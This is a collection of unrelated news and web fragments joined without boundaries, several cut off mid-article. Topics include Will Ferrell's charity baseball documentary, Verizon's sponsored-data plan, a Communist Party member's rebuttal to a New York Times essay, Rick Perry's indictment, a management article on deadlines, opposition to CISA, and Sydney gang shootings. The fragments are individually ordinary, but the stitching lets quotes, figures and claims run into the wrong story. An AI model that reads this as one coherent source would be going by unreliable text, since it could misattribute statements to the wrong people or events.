"With all due respect to Cal Ripken Jr., tonight's inductee is an Iron Man of sorts," Idelson said to the crowd. "Even though his career only lasted 12 hours."
Video: Will Ferrell's Hall of Fame dreams finally come true
The plaque, which was unveiled by Dodgers first baseman Adrian Gonzalez and Padres outfielder Wil Myers, referred to Ferrell as "The Cactus Rose" and "Mr. Clutch," who "was once traded nine times in one day."
• "Get Ferrell Takes the Field" gear
In addition to the pageantry, also front and center during the ceremony was the charity that benefited from the movie.
Ferrell waived his appearance fees and filmed the documentary free of charge, sending those funds to MLB's Stand up to Cancer and also Cancer for College, an organization founded by Ferrell's USC fraternity brother, Craig Pollard, a two-time cancer survivor.
Cancer For College awards scholarships to cancer survivors aiming to obtain a college degree.
Many of the recipients of scholarships from Cancer for College were at Petco Park for the ceremony. Ferrell didn't just read off the list of names. He introduced each recipient individually, noted what type of cancer they beat, and listed the colleges they are attending.
"This allowed us to raise over $1 million for Cancer for College," Ferrell said. "That's the real reason why we're here tonight."
Pollard started Cancer For College over two decades ago and had awarded $2 million in scholarships over that period of time. Ferrell's Spring Training adventure raised around half that amount, in just about 14 hours.
"It means the world," Pollard said, prior to throwing out the ceremonial first pitch before the game. "It's the most amazing thing we've ever done as a charity. I was just kind of blown away, the amount of money and the impact that money is already making right now in the charity, it's huge for us."
After the ceremony, the lights went out at Petco, and the crowd settled in to watch the movie.
"Ferrell Takes the Field" captured the intensity of Ferrell's day, from the very minute he entered the A's clubhouse and told onlookers, "I'm in beast mode now. Can't talk."
He fared...adequately during his round in the cage, too.
"The most exciting play in batting practice," Ferrell deadpanned, "is the sacrifice bunt."
Somehow, the show's producers managed to whittle 14 hours of footage down to a 47-minute, action-packed documentary. The movie ends with Ferrell addressing the crowd at the Padres-Dodgers Cactus League game, his very last stop.
"When I embarked on this journey way back at breakfast, I thought to myself, could I do it?" Ferrell said. "Was I the best player on the field today? Maybe, maybe not. But there is life in this 47-year-old arm."
We all knew that the new rules wouldn’t stop Verizon from finding and taking advantage of loopholes in the new net neutrality laws though, and now the company has confirmed that it’s ready to give net neutrality a nice big slap in the face.
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Picture this: you’re a young mobile video startup getting ready to take on well-established giants. You run lean and mean to stretch what little investment you were able to raise as far as it will go, and now it’s time to launch. You announce that your service is live, and you even manage to drum up some media coverage.
But there’s a tiny little problem… when customers of the nation’s largest wireless carriers stream video content from your big established rivals, they don’t have to pay for it because it doesn’t apply to their data caps. When they stream video from your service, however, they watch their data usage skyrocket and get dangerously close to their caps, meaning that they soon may have to cough up extra cash if they go over their monthly data allotments.
This is the world big wireless carriers are currently trying to create.
AT&T announced its sponsored data initiative quite some time ago, but it pumped the brakes when the net neutrality debate gathered steam. Verizon is being far less cautious though, and Recode reports that the company is ready to start testing “FreeBee,” a service that is almost identical to AT&T’s old offering.
With FreeBee, big companies can offer to pay Verizon directly and foot the bill for data consumed by their apps or services. Verizon says companies can either cover the cost of all data consumed when a person uses their apps or services, or they can foot the bill for data on a per-click basis, paying only for specific video streams or app downloads.
“The capabilities we’ve built allow us to break down any byte that is carried across our network and have all or a portion of that sponsored,” Verizon EVP Marni Walden said last month.
As part of an ongoing series, “Red Century,” the New York Times published an article April 30 by 81year-old liberal social critic Vivian Gornick, entitled “They Were True Believers.” In this piece Gornick, a long time writer for the Village Voice, gives a moving portrayal of the rich and fulfilling life she and so many of her neighbors, family and friends experienced in the Communist Party in the 1930’s, 40’s and 50’s. But she claims the party was destroyed and became a relic of history in 1956 when Nikita Khrushchev denounced Soviet leader Josef Stalin.
As someone who joined the Party much later, in 1970, I beg to differ. I joined the party after five years of activism against the war in Vietnam. Vietnamese communists, were a critical part of the leadership of the movement for national independence and sovereignty in their country. They were hardly deterred by whatever Khrushchev had to say about Stalin.
Neither were the thousands of American Communists who opposed the war, including two of the “Fort Hood Three,” the first American soldiers to refuse deployment to Vietnam.
Nor were the many dynamic leaders that I met in the CPUSA. They had been steeled in the mass struggles to organize industrial unions, overcome Jim Crow racism and build unity against fascism before and during WWII. They had survived the terrible repression targeting the Party during the McCarthy era.
Gornick does not mention this repression officially conducted by the U.S. government, its collaborating employers and propagandists and much of the press including the New York Times. She does not acknowledge in the Times article the anti-Communist hysteria aimed at destroying the labor movement and intimidating all working class, democratic, and progressive forces during the 1950’s. The campaign was especially dangerous because it made acceptable the idea of possible war against the Soviet Union. The damage done by this campaign far exceeded Khrushchev’s speech in weakening the size and influence of the Party.
Gornick also does not mention the many leaders and ordinary members who, after the Khrushchev speech, risked so much, including their reputations and jobs, by continuing their membership in the party.
I had a close friendship and working relationship with one of those leaders, George Meyers, who served 38 months in federal prison because of his Communist beliefs. Upon his release in 1956, he was besieged by reporters who asked him, “George, now that Khrushchev has denounced Stalin, are you going to quit the Communist Party?.”
To this, George replied, “Stalin did not recruit me into the party and nothing he did is going to make me quit!
“I joined the Communist Party because of the class struggle in the United States,” he recalled later in a 1996 interview in the Baltimore Sun. “That’s why I never had any problems with all those foreign ups and downs.”
Meyers had been a prominent labor leader in Maryland and had organized a 10,000-member local of the Textile Workers Union at the Celanese plant in Cumberland where he worked for 22 ½ cents an hour seven days a week.
In the days before Occupational Safety and Health laws the textile fibers in the mill destroyed the lungs of nearly all the workers. Meyers outlived his union brothers and sisters because he got off the shop floor when he was elected president of the local. Later, as president of the Maryland-District of Columbia Congress of Industrial Organizations, he led the drive that organized 37,000 workers at the Glenn L. Martin aircraft plant. He insisted that 7,000 African Americans be integrated into the work force.
During World War II Meyers had waived his deferment as a labor leader and served in the Air Force.
During his 1951 trial under the Smith Act, the trial that resulted in his imprisonment, prosecutors pressed Meyers to name his comrades. He said he could not do that, ”but, I can tell you who recruited me into the Party.”
“Who was that?” they asked, moving closer to the defendant to get this vital piece of information.
“The Celanese Corporation of America!” George declared in his booming voice.
Like many other Communists George went into the South in the early 1960’s, long after the Khrushchev revelations, to help build the civil rights movement. Until his death in 1999, he continued to serve on the party’s national board and as head of its labor department.
In his last major speech before his assassination, delivered at the 1968 Freedomways banquet honoring the great scholar Dr. W. E. B DuBois, who late in life had joined the Party, Dr. Martin Luther King recognized the contributions of the party and denounced “our irrational, obsessive anti-communism.”
In the 1970s, ’80s and ’90s, the party was extremely active in the broad, pioneering effort to revitalize the labor movement and change its cold war, class collaborationist policies and leadership. Led by General Secretary Gus Hall and Chairman Henry Winston, the party, in that same period, was decisive in building the mass movement that saved the life of Angela Davis.
After her trial Davis ran for Vice President on the CPUSA ticket with Hall. The issues the party raised in that campaign and in several previous ones put forward proposals, including ones for massive infrastructure, national healthcare and other programs, that were later adopted by broader progressive organizations in their electoral efforts.
During this period the Party also played a critical role in the movement pressuring the U.S. government to boycott and impose sanctions on apartheid South Africa. These and other activities show that the party’s influence continued past the alleged 1956 collapse that Gornick describes.
Since the beginning of the Trump presidency some 1,000 people have joined the Communist Party. Today the party fights in the immediate term against exploitation, militarism, destruction of the environment and against racism and all forms of oppression. In the long term it fights for a socialist system to replace the current capitalist system,.
Some abandon the party and the movements for opportunistic reasons or even perhaps because they grow tired of expending the energy the fight requires. Some move on because they only ever intended to put in an effort during a period of time or around a set of issues. No problem with that. Many left because of the campaign of terror against the party. And, of course, many stay on for a life-long commitment. There is a place in our party for all these groups excepting of course the ones who left for opportunistic reasons and became public opponents not just of the party but of all progressive politics.
I disagree strongly with Gornick’s contention that 1956 was “the end.” As long as corporate power continues and attacks the living standard of the people the party and the movements will resurface, even when they take a terrible temporary beating.
In large part the New York Times “Red Century” series covers up this fundamental truth. The one thousand who have joined the party this year recognize that truth and we can expect, I think, more and more to join them. As long as the system of exploitation, oppression and war, reckless destruction of the environment and imperialist aggression exists, many will come to realize the underlying capitalist cause and join the Communist Party.
I wish the New York Times will some day print a “Red Century” series that shows how much the communists have contributed to building a peaceful, democratic and more humane country and world. We’d be so much better off if it did. Sadly we are still getting from them signs that they continue their addiction to “irrational, obsessive” cold war propaganda and anti-communism.
The Washington University team was paddling down a lake in Missouri on Friday morning when they found themselves suddenly under attack.
Video captured by a CNN reporter, who just happened to be watching the practice session, shows the moment the large school of Asian carp suddenly started leaping out of the water all around the boat.
Some of the fish leaped over the boat while others even landed in it.
"The fish was flopping on my legs. It was so slippery that I couldn't get a grip on it," team member Devin Patel said.
Patel said he screamed at his teammate Yoni David, "Yoni, get it off me!"
No rowers were injured during the extraordinary incident but the boat was reported to have smelled very fishy afterwards.
Source: CNN
"It's more proof of how the GOP's real agenda is to make it harder to vote."
—Ari Berman, The Nation
Since it was established in 2002, the EAC has been under almost constant attack by the Republican Party. Earlier this year, the House Administration Committee voted 6-3 along party lines to eliminate the agency entirely.
As The Atlantic's Russell Berman noted in February, "GOP attempts to eliminate the Election Assistance Commission have passed out of committee but not made it to the House floor for a vote in the last four years."
Because they have failed repeatedly to eliminate the agency, Republicans now appear content to strip it of the funds it needs to operate effectively.
According to its website, the EAC is tasked with:
Advocacy groups have warned that defunding or eliminating the EAC would give a green light to hackers looking to manipulate the electoral process.
"At a time when the vast majority of our country's voting machines are outdated and in need of replacement, and after an election in which international criminals already attempted to hack our state voter registration systems, eliminating the EAC would pose a risky and irresponsible threat to our election infrastructure," the Brennan Center for Justice argued.
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The GOP's latest attempt to defang the EAC comes as it is "working with the Federal Bureau of Investigation to examine an attack late last year on the agency's computer systems by a Russian-speaking hacker," the Wall Street Journal noted on Monday.
The proposed cuts are included in the House GOP's far-reaching budget package, which also features major cuts to Medicare and Social Security.
The Nation's Ari Berman has characterized GOP attempts to eliminate the EAC as merely one element of the party's broad assault on voting rights, which has been intensified by the Trump administration.
"It's particularly ironic that the Trump administration is preparing to launch a massive investigation into nonexistent voter fraud based on the lie that millions voted illegally while House Republicans are shutting down the agency that is supposed to make sure America's elections are secure," Berman noted. "It's more proof of how the GOP's real agenda is to make it harder to vote."
Voting rights groups have argued that now is the time to strengthen the EAC, and that any move to weaken it could further deteriorate the integrity of American elections.
Ibaka is back in Oklahoma City for Games 1 and 2 – ruled out of the playoffs with a lower leg injury – but his willingness to play with pain, his loyalty to the championship cause, has him thinking about starting some stationary shooting late this week, a league source told Yahoo Sports on Monday.
How the ever-conservative and protective Thunder will react to Ibaka's eagerness is uncertain, but coach Scott Brooks repeated over and over late Monday: "He's not coming through those doors. … He's not coming back."
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Nevertheless, Ibaka had to be watching the San Antonio Spurs drill the Thunder 122-105 in Game 1 and the loss had to make him further hell-bent on fighting to find a way to the floor. Ibaka is 6-foot-10, 245 pounds and one of the NBA's best shot-blockers for four years running. His absence is a killer for Oklahoma City, a deathblow.
Deep down, Ibaka understands his medical timetable couldn't possibly include a return to these conference finals, but no one has yet talked him out of the belief he'd be back in the lineup if the Thunder advanced to the NBA Finals, a source said. The Thunder believed this injury would be a one-to-two-month recovery period. Without a tear in that plantaris muscle, though, Ibaka wants to believe it can be sooner.
Story continues
For now, Ibaka needs the rest of his teammates to make a stand. With him, Oklahoma City had beaten San Antonio 10 of the past 12 games. Without him, the Thunder were humiliated in Game 1. Tim Duncan had an incredible performance – 27 points in 29 minutes – and Manu Ginobili dribbled and dived to the rim, and the Spurs had no inhibitions on getting to the basket.
The clock turned back in the AT&T Center, and these old Spurs resembled younger, spryer selves. Everything was embarrassingly easy for the Spurs, and somehow it has to stop for the Thunder.
"Missing Serge is pretty tough," Oklahoma City's Reggie Jackson said. "…[You can get] a little lazy having somebody that is an eraser back there like that, altering so many shots. …Your body tells you a few things – "just send them Serge's way." We have to get out of that mindset."
"We didn't stop nothing," Kendrick Perkins said flatly. "They got whatever they wanted against us."
People have long underappreciated Ibaka, underestimated his importance for Oklahoma City. Some thought the Thunder should've kept James Harden on a max contract, and let Ibaka and his four-year, $48 million deal go. Yet, the Thunder need a rim-protector, need his athleticism on the backline and his agility to control the point of attack on the pick-and-roll. Duncan destroyed the Thunder, and this problem doesn't go away easily for them.
General manager Sam Presti's and Brooks' directive is clear: The Thunder can't count on Ibaka, so they need to get him out of their minds and out of their excuses. Whatever their instincts, they have to come to terms with the fact Ibaka won't be waiting at the rim to change shots, change the game.
He won't be walking through that door, Brooks insisted late Monday, but Ibaka hasn't lost hope with walking through that tunnel the way old Willis Reed did in the NBA Finals back in 1970. Between now and then, the Thunder must find a way without Ibaka to beat the genius of these San Antonio Spurs.
Against the odds, against the clock, Serge Ibaka has a mind to make his way back onto the court. Maybe it starts with some shooting on Friday and Saturday in Oklahoma City, and maybe a Thunder victory on Sunday. The Thunder desperately needed Ibaka on Monday night and they'll need him on Wednesday, too.
Nevertheless, Scott Brooks is right: Ibaka isn't walking through that door.
Not yet, anyway.
“The Americans promised us today they would send more drones,” he said.
He also said the government should shift tactics and order civilians to leave their homes, even though in some neighborhoods where Iraqi forces have tried to evacuate families, the civilians have refused, saying they do not want to live in tent camps.
“We have tried so hard not to harm them,” he said.
At the field clinic in Mosul on Wednesday morning, trucks and Humvees arrived one after the other, carrying the wounded and dead. Medics said they needed more of everything — bandages, antibiotics, fluids for IV drips. “It gets worse every day,” said an Iraqi colonel who gave only his first name, Khalil. “There are lost legs, chest wounds, head wounds. Daesh has begun to target the people.”
Adding to the chaos, groups of civilians fleeing the fighting are constantly approaching the clinic, setting the soldiers scrambling to keep them away, rifles raised, out of fear of suicide bombers. On Wednesday, one man, insistent on reaching the soldiers, stopped in the distance and raised his gown to show that he was not strapped with explosives.
He was indicted over his handling of a political controversy involving a local prosecutor
Perry and his lawyers call the charges outrageous and vow to fight them in court
Perry said he wouldn't change anything if confronted with the same situation
A defiant Texas Gov. Rick Perry, a potential 2016 presidential candidate, was booked on Tuesday on two felony charges related to his handling of a local political controversy.
Perry voluntarily appeared at the Travis County Court to be fingerprinted and to have his mug shot taken.
"I'm going to enter this courthouse with my head held high knowing that the actions I took were not only lawful and legal but right," Perry told reporters.
"I'm going to fight this injustice with every fiber of my being, and we will prevail and we'll prevail because we're standing for the rule of law," he said.
The charges allege Perry misused his office by improperly threatening to and then withholding state funds for a program run by a county prosecutor unless she resigned.
Photos: Moments from Rick Perry's career Photos: Moments from Rick Perry's career Former Texas Governor Rick Perry addresses the 42nd annual Conservative Political Action Conference (CPAC) February 27 in National Harbor, Maryland. Hide Caption 1 of 13 Photos: Moments from Rick Perry's career Former Texas Governor Rick Perry speaks to guests at the Iowa Freedom Summit on January 24 in Des Moines, Iowa. The summit is hosting a group of potential 2016 Republican presidential candidates to discuss core conservative principles ahead of the January 2016 Iowa Caucuses. Hide Caption 2 of 13 Photos: Moments from Rick Perry's career Former Texas Governor Rick Perry speaks during the victory party for Texas Attorney General and Republican gubernatorial candidate Greg Abbott after an apparent victory over Democratic Sen. Wendy Davis on November 4, 2014, in Austin, Texas. Hide Caption 3 of 13 Photos: Moments from Rick Perry's career Perry was booked on August 19, 2014, on two felony charges related to his handling of a local political controversy. He vowed to fight the charges. Hide Caption 4 of 13 Photos: Moments from Rick Perry's career Perry compares alcoholism to homosexuality at an event in San Francisco on June 11, 2014. "I may have the genetic coding that I'm inclined to be an alcoholic, but I have the desire not to do that - and I look at the homosexual issue the same way," he said. Hide Caption 5 of 13 Photos: Moments from Rick Perry's career Perry greets President Barack Obama as he arrives in Dallas on July 9, 2014, for a meeting with local elected officials and faith leaders about the humanitarian situation at the Southwest border. Hide Caption 6 of 13 Photos: Moments from Rick Perry's career Perry salutes after announcing on January 19, 2012, that he's suspending his presidential campaign just days before South Carolina's GOP primary. Perry finished sixth in the New Hampshire primary earlier that month. Hide Caption 7 of 13 Photos: Moments from Rick Perry's career Perry runs the Veterans Day parade route in Columbia, South Carolina, while local media and his security detail jog along to keep up on November 11, 2011. Hide Caption 8 of 13 Photos: Moments from Rick Perry's career At a GOP presidential debate on November 9, 2011, Perry fails to remember the third of three agencies he would cut if elected president. With self-deprecation he uttered "oops," a word that has since made him the butt of jokes, including his own. Hide Caption 9 of 13 Photos: Moments from Rick Perry's career Perry labels Social Security a "Ponzi scheme" at a GOP primary debate on September 7, 2011, in Simi Valley, California. "Anybody that's for the status quo with Social Security today is involved with a monstrous lie to our kids, and it's not right," he said. Hide Caption 10 of 13 Photos: Moments from Rick Perry's career In the inaugural stages of his 2012 presidential run, Perry mingles with a breakfast crowd during a campaign stop at Bazen's Family Restaurant in Florence, South Carolina, on August 19, 2011. Hide Caption 11 of 13 Photos: Moments from Rick Perry's career During a Florida primary debate, Perry defended a Texas program that allows students without legal documentation to take advantage of in-state tuition and argued those who disagree with him are heartless. Hide Caption 12 of 13 Photos: Moments from Rick Perry's career Perry, then the lieutenant governor of Texas, hugs George W. Bush before being sworn in as governor on December 21, 2000, in Austin. Bush had been elected president and was resigning as governor. Hide Caption 13 of 13
Gov. Rick Perry's mugshot
Perry, a Republican, was indicted last week on counts alleging coercion of a public servant and abuse of his official capacity.
His initial court appearance is scheduled for Friday.
The case centers on Perry's veto in June 2013 of $7.5 million approved by the Legislature to fund a public integrity unit run by Travis County District Attorney Rosemary Lehmberg, a Democrat. He wanted her out, following a drunk-driving arrest. She refused to leave.
His legal team insists he had a legal right to tie funding for the public integrity unit to Lehmberg's removal, and argues he had no legal obligation to explain his veto. Perry said on Tuesday that he would do the same thing again if faced with the same situation.
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Many Republicans and some Democrats have come to Perry's defense. Even Texas gubernatorial candidate Wendy Davis, a Democrat, wasn't as strident in her reaction as her party's state committee, which called on Perry to step down.
"Those are very serious charges and I as a lawyer understand and trust the justice system and I will rely on it to do its job," she said on Monday.
Perry is entering his final few months in office after a historic 14-year run in Austin, and it's unclear how the charges might impact any presidential run.
Wrike Blocked Unblock Follow Following Jul 3, 2017
You and your team agree on a deadline for a specific project. You assume it’s more than enough time to get those deliverables wrapped up. But sure enough, things quickly start to unravel.
One team member is late in collecting the necessary statistics, which then delays the co-worker who was supposed to create the graphs, which in turn pushes back the employee who was going to proofread the report — everything just snowballs from there. Suddenly, your project is more than a week behind.
Every leader knows that deadlines can be a constant headache. Even with the best of intentions and the most thorough planning, things go off track. We’re all natural procrastinators, and deadlines are almost never given the serious consideration they deserve.
So what can you do? As a leader, how can you emphasize the importance of those due dates and keep your whole team on schedule?
Why Are Deadlines Such a Struggle?
First things first: it’s important to understand why we all have the tendency to just brush off deadlines. While the word itself was coined in 19th century Civil War prisons as a physical line beyond which prisoners would be shot, we all tend to view deadlines more flippantly — more as suggestions than firm instructions.
One reason we all tend to tapdance close to deadlines is because procrastination motivates us. It’s something called the Yerkes-Dodson Law. Put simply, as our arousal (in this case, stress) increases, so does our performance of the task.
This is the Yerkes-Dodson Law
We’ve all impressed ourselves with how quickly we were able to crank through something the night before a due date. And that’s because the stress of that fast-approaching deadline gave us a necessary kick in the pants.
Psychologists coined something similar called the “Goal Looms Larger Effect.” The closer the deadline approaches, the more important that task becomes — and the more it looms in your mind, so to speak.
But, there’s a problem here: using this stress as a motivator only works up to a point. Too much, and your performance not only decreases, but you also experience pretty dire consequences.
Procrastination aside, there’s another reason that deadlines seem to lose their impact.
“Many bosses use the term deadline for everything and often have competing deadlines,” explains Biren Bandara, Founder of Leader School. “The word itself loses its power.”
The science is there to back this concept of “semantic satiation.”
“It’s a kind of a fatigue,” says Leon James, a psychology professor at the University of Hawaii’s College of Social Sciences, in his doctoral thesis. “When a brain cell fires, it takes more energy to fire the second time, and still more the third time, and finally the fourth time it won’t even respond unless you wait a few seconds.”
The more you repeat a word, the harder it is for your brain to attach the same meaning to it. So bosses should be wary of assigning the word “deadline” to tasks that are of little to no importance.
There’s a lot working against all of us when it comes to meeting deadlines. But what can you, as a leader, do to encourage your team members to meet — and maybe even beat — the deadlines you set?
Here’s what you need to know.
Making Deadlines Stick
1. Co-Establish Deadlines
When it comes to setting the initial deadline, you shouldn’t do so in a vacuum.
“Co-establish the deadline with the team members who will do the actual work,” explains Bill Treasurer, Leadership Expert. “Higher-ups often establish deadlines without any understanding of what the work entails. Whenever possible, include the people who do the work when setting the deadline. It ensures that the deadline is based on reality, not wishful thinking.”
Involving your team is helpful for a few reasons:
The more they feel a part of the process, the more engaged they’ll be in their work — meaning they’re far more likely to meet that deadline. Transparency is crucial!
Involving more opinions will help you combat the planning fallacy — the tendency we all have to severely underestimate the amount of time certain tasks will take. There’s bound to be at least one person on your team who will provide a reality check when your deadline is too ambitious.
As an added bonus, when your team understands that they set the deadline themselves, they have no reason to complain about the due date. And if they do miss their own deadlines? Marketer and entrepreneur Gary Vaynerchuk has two pieces of advice for you at the 4:49 mark in this video:
2. Provide Full Context for a Deadline
“Deadlines are meaningless without context,” explains Bandara. “Be sure to give the reason why the task is important and why the deadline is important.”
Just take a look at these two statements and pick the one that’s more impactful:
Statement #1 : You need to have that spreadsheet updated by this Friday.
: You need to have that spreadsheet updated by this Friday. Statement #2: You need to have that spreadsheet updated by this Friday so that Susan can incorporate the numbers in our board presentation for Monday.
Duh. The second statement, right?
This is because an arbitrary date wasn’t just pulled from mid-air. Instead, it explains how both the deadline and the task fit into the larger picture. That context will be a huge help to your employees.
It’s not always an easy thing to do. But, the more context you provide your team, the more seriously they’ll take deadlines.
TIP: Need help getting your team members to understand where they fit in the big picture? This article has some helpful tips on avoiding that dreaded domino effect.
3. Highlight Negative Consequences of Delays
Another important part of providing context is touching on the potential negative consequences that could result from missing the deadline.
“Fear has a much stickier impact on the human brain than good news does,” explains Treasurer. “Make sure each team member is keenly aware of the serious dangers of missing the deadline.”
Psychologically, fear is a powerful motivator. And, while it’s not recommended to hang reprimands and punishments over your team members’ heads (that’s a surefire way to drag morale and your work culture down), it’s often worth talking about any potential fallout from a missed deadline.
Using the second statement example from above, you could append one more sentence:
Statement #2: You need to have that spreadsheet updated by this Friday so that Susan can incorporate the numbers in our board presentation for Monday. If those numbers aren’t there for the review of our board members, we’re going to face a lot of pushback and roadblocks on this campaign we’re planning.
It’s another simple and effective way to encourage your team to understand their impact and the effect of their work — which is bound to make them take that deadline a little more seriously.
4. Reinforce the Importance of the Deadline
Deadlines aren’t a “set it and forget it” sort of thing. So if you think you can give your team a deadline once and expect them to show up with perfect work when that date rolls around, you need to think again.
“Deadlines that the boss issues and never brings up again don’t seem that important, and other more seemingly important priorities will take that place,” explains Bandara. “Something I’ve learned is that if there is enough heat and light on something, it will usually get done.”
Deadline and task reminders can be incredibly effective in communicating the criticality of your end date. So, make a plan to offer structured reminders to your team as they work.
TIP: Instead of repeatedly telling your team members when that deadline was, utilize questions to reinforce your point. Ask your team member to remind you what the deadline is for that task. It’s a subtle way to encourage that person to take more ownership of the work and the deadline, as pointed out by communication expert Jean-luc Doumont in a talk at MIT.
5. Set Real Deadlines, Not Fake Ones
What exactly does it mean to set a real deadline? Well, you don’t want to pad them in an attempt to trick your team.
“Some bosses create false deadlines thinking that if the first deadline gets missed, the ‘real’ deadline will be a backstop,” says Treasurer. “As soon as workers discover that they’ve been manipulated, they’ll start blowing off future deadlines. Worse, they won’t trust you.”
“Workers who fail to meet deadlines risk the disapproval — and sometimes the wrath — of their managers and colleagues,” shares Phyllis Korkki in a piece for The New York Times. “Still, some people will blow a deadline, rationalizing that there is both a ‘deadline’ and a ‘real deadline.’ They will use whatever devices and excuses they can muster to buy more time.”
You want your real deadline to be viewed as, well, your real deadline. With that in mind, resist the urge to create fake deadlines in an attempt to manipulate your team. In the end, that will only hurt all of you.
TIP: Want a way to make your real deadlines seem a little more impactful? For larger projects, set your deadline in days — rather than using weeks or months. Researchers at the University of Michigan and USC found that stating deadlines in days better connects your future self to your present self, which increases the sense of urgency.
Below is a video (length: 8:13) outlining a four-step process for setting realistic deadlines:
Show ’Em: Meet Your Own Deadlines
You want your team to meet deadlines — that’s understandable. But, it’s important to realize that a lot of your team’s time management has to do with the way you lead.
In order to encourage your team to take deadlines more seriously, you need to:
Involve them in the process of setting deadlines
Provide context for the deadlines
Emphasize any potential negative consequences of missed deadlines
Continually provide reminders and emphasize importance
Resist the temptation to pad or set fake deadlines
And, while all of those tips and tricks are important, there’s one thing that carries the utmost weight with your team.
“Just remember, leaders set the tone,” concludes Treasurer. “If leaders cut themselves a break when they miss deadlines, people notice. If leaders set unrealistic deadlines, people notice. If leaders absolve themselves from the consequences of missed deadlines, people notice. So, before expecting your team to honor deadlines, be sure that you’re honoring them!”
SAN JOSE (KCBS) – Instead of extending light rail to the airport, San Jose Mayor Sam Liccardo said the city is considering a less costly option: installing a lane of traffic for autonomous vehicles only.
A fleet of robo-cars would then transport passengers from Mineta San Jose International Airport to the Diridon Train Station quickly and cost effectively.
“We’re going do it safely, and whatever we do, you can be certain that driving autonomously in one of these vehicles will be safer than having one of my relatives behind the wheel,” said Liccardo.
Right now, there is no quick public transportation option to get from Diridon Station, the busiest transit hub in San Jose, to the airport.
To build a rail line to the airport now would cost about $800 million dollars.
“That’s a very big price. And we think autonomous vehicles might provide a much, much cheaper solution for taxpayers,” explained Liccardo.
Bloomberg automotive reporter Keith Naughton said self-driving cars do sometimes have trouble when mixing with human drivers.
“Driverless cars follow the law, which the rest of us human drivers don’t always do,” Naughton said. “So they drive very cautiously, people don’t expect that and they’re driving into the back of them.”
Dedicated lanes is just one proposed idea of many that may or may not ever happen.
But self-driving cars are just a few years away, and the mayor says the idea can only flourish with the help of local government.
“We’re going to understand more in our conversation with the industry and regulators to see how we can best help this technology launch safely in our city,” said Liccardo.
Some of the industry titans now publicly opposing CISA are Google, Apple, and Twitter, among other well-known companies, while those who support the bill include Verizon, AT&T, and Cisco.
CISA would allow tech companies to share user data with the National Security Agency (NSA) and other intelligence offices in cases of "cybersecurity threats." Critics say the bill only expands government surveillance powers and guts consumer protections.
Apple publicly came out against CISA on Tuesday as the Senate began gearing up for the vote, citing concerns over privacy and users' rights.
"We don't support the current CISA proposal," Apple said in a statement. "The trust of our customers means everything to us and we don't believe security should come at the expense of their privacy."
Apple's strong stance on the issue earned it a top spot on digital rights group Fight for the Future's "Digital Scorecard," which tracks where tech firms stand in the battle for privacy. Companies that have publicly supported reform for the Electronic Communications Privacy Act (ECPA) and opposed CISA and other legislation that would give governments a backdoor into encrypted devices were named "Team Internet."
Those who did any less were dubbed "Team NSA."
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"People trust these companies with a staggering amount of personal information, and we need ways to hold them accountable to ensure they keep our data safe from both attackers and the government," said Evan Greer, Fight for the Future's campaign director. "It's not enough for companies to employ basic security practices, they need to be actively fighting for their users' basic rights when key policy questions come up. Politicians constantly claim the support of the tech industry when attempting to undermine our privacy, so these companies have a responsibility to fight back."
As Freedom of the Press Foundation co-founder Trevor Timm wrote in an op-ed for the Guardian on Tuesday, CISA is nothing more than "a surveillance bill in disguise." That opposition is coming from the likes of Google and Amazon—no strangers to privacy scandals—shows how bad the bill really is, Timm wrote.
Also in the internet's corner is Dropbox, marking a significant shift for a company that recently added surveillance advocate Condoleezza Rice to its board of directors and which NSA whistleblower Edward Snowden once called "a wannabe PRISM partner" for its anti-privacy policies.
"While it's important for the public and private sector to share relevant data about emerging threats, that type of collaboration should not come at the expense of users' privacy," Amber Cottle, head of Dropbox global public policy and government affairs, said on Tuesday.
Some of the other firms that also got high marks on the Digital Scorecard, including Apple and Microsoft, reversed course after initially giving their support to CISA—which resulted in a massive email campaign, also organized by Fight for the Future, threatening to quit using their products, services, and platforms if the bill went through.
Now the pressure is on Congress, the digital rights group said, and offered a similar warning to lawmakers.
"It's outrageous that Congress is even considering passing a law that would further erode Internet users' privacy and security at a time when both are already so fragile," Greer said. "CISA's supporters have repeatedly claimed that the tech industry needs this legislation, but now nearly every major tech company has come out opposing it, not only because they know it won't stop cyber attacks, but also because it's supremely unpopular with their users."
Donald Trump’s ability to issue presidential pardons has been the ultimate weapon looming over Robert Mueller’s investigation. Trump could potentially pardon himself of any crimes. More important, he could dangle a pardon to his former staffers to encourage them not to supply Mueller with any incriminating information on Trump. Mueller is apparently handling his investigating like the prosecution of a mob boss, pressuring underlings to flip on the boss. Trump’s advantage is that, unlike a mob boss, he can give out an unlimited number of get-out-of-jail-free cards. Trump has reportedly mused in public about using the pardon — and his pardon of Joe Arpaio flaunted his willingness to use it on behalf of a political ally, even in outrageous fashion.
But it turns out that there is a flaw in Trump’s strategy. The presidential pardon only applies to federal crimes. As NBC reported last night, it is possible for state governments to press charges in some of the alleged crimes committed by Trump’s cronies. “You would have to find that one of those [election] crimes occurred in New York,” Jennifer Rodgers, a former federal prosecutor, told NBC. Of course, some of the alleged crimes almost certainly did take place in New York. And sure enough, Josh Dawsey reports, Mueller is teaming up with New York Attorney General Eric Schneiderman. “One of the people familiar with progress on the case said both Mueller’s and Schneiderman’s teams have collected evidence on financial crimes, including potential money laundering,” he notes.
An MLP/Warhammer 40K Crossover
The Iron Warriors 38th Company has landed in Equestria, entrenching themselves like a barbed hook. They hunt the aliens of the Tau Empire, intent on destruction and pillage.
A small squad is dispatched on a reconnaissance mission, only to find that there is intelligent life on this world besides the feuding space-farers.
His point about McConnell not being Specter isn’t wrong, either.
“McConnell has offended conservatives by stabbing Ted Cruz in the back and cutting deals that ran contrary to every principle he says he stands for. The Conservative Establishment is backing unknown Matt Bevin. Bevin has no track record. McConnell has a Heritage Action rating of 80. When the average Republican score is 67 that is not something to ignore,” [Tea Party Nation founder Judson] Phillips said. McConnell scored even better with the Club for Growth, nabbing an 87 percent rating on the free market group’s issues. This cycle, the club has endorsed Republicans who are challenging incumbents in Senate primaries, but Bevin is not among them. Sen. Rand Paul, R-Ky., a strong supporter of McConnell who has criticized Bevin, was at 96 percent on the Heritage Action for America scorecard. Bevin has never served in elected office… The Senate Conservatives Fund, said a Republican operative backing McConnell, is making the same mistake with Bevin that the National Republican Senatorial Committee made in 2009 with Charlie Crist.
It's the latest attack in a new surge of violence that's included two men killed and four people injured in shootings in just the past week.
The girl shot last night was the sister of a member of notorious crime gang Brothers 4 Life which is being blamed for much of the violence.
The gang was founded in prison by convicted criminal Bassam Hamzy.
He's currently serving at least 36 years for murder and other crimes and authorities fear he's still controlling some of the violence from behind bars.
Sean Rubinsztein Dunlop has this report.
